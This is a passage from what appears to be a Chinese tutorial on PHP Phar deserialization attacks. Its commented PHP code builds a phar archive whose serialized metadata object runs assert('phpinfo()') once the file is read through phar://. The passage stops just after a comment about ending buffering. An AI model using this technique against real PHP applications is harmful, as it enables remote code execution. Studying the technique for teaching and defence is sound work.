【Phar反序列化】
Phar简介
接下来简单了解phar的生成和结构,生成代码如下:
<?php
/*** Phar文件生成示例代码*/// 引入一个关键的类文件。这个文件里定义了一个名为 Evil的类
// Evil类包含一个 __wakeup()魔术方法
// 该方法会使用 assert()执行代码(如 phpinfo()),这是反序列化漏洞的关键。
require_once('class.php');// 创建一个Evil对象实例,传入参数'phpinfo()'
// 这个参数会被存储在 Evil对象的 $val属性中,后续在反序列化时通过 assert($this->val)执行。
$exception = new Evil('phpinfo()');// 创建一个名为"jn.phar"的Phar归档文件对象
$phar = new Phar("jn.phar");// 开始缓冲Phar写入操作,提高处理效率
$phar->startBuffering();// 向 PHAR 文件中添加一个虚拟文件 test.txt,内容为 "test"。
// 这是 PHAR 格式的要求(必须包含至少一个文件),但本身不是攻击的重点。
$phar->addFromString("test.txt", "test");// 设置Phar文件的存根(stub) - 这是Phar文件的执行入口
$phar->setStub("<?php__HALT_COMPILER(); ?>");// 设置Phar文件的元数据为之前创建的Evil对象
//将 Evil对象设置为 PHAR 文件的元数据。元数据会被自动序列化并嵌入 PHAR 文件中。
// 当 PHAR 文件通过 phar://协议被读取时(例如 file_exists('phar://jn.phar'))
// 元数据会被反序列化,触发 Evil::__wakeup()方法,从而执行 assert('phpinfo()')。
$phar->setMetadata($exception);// 结束缓冲,将所有操作写入磁盘,生成Phar文件